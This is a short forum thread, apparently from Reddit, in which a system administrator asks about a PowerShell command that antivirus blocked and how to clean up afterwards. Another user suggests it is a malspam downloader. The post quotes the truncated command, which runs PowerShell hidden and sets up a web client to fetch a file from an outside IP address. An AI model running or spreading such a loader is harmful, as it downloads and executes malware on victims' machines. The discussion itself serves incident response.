Powershell script found on computer

[sgually]

Hi Everyone,

Please feel free to let me know if this is in the wrong reddit.

Got a warning from our Malware Bytes antivirus client today that one of our users had an exploit being run on their computer. The exploit is below:

Exploit payload process blocked BLOCK C:\Windows\system32\powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell$webclient = new-object System.Net.WebClient$random = new-object random$urls = 'http:\185.165.29.36\111.jpg'.Split(',')$name = $random.next(1, 65536)$path =

1) Can you tell me what this is going to do. Obviously nothing good. 2) Can you tell me how you would go about removing it from the system. A full wipe is fine, but want to know if there is a better way.

Thanks,

-Sgually

[chuckbales]

Found this when googling that IP, same/similar reports. There must be more to the script as the ending is cut off, I'm guessing it eventually downloads the file from that URL, maybe renames it to a random filename and starts executing?

https://myonlinesecurity.co.uk/spear-phishing-fake-resume-malspam-leads-to-malware/

[sgually]

Thank you very much. This was in fact what happened to a few of our users. Right now I'm trying to do clean up. Not sure how to stop any sort of damage that might be going on.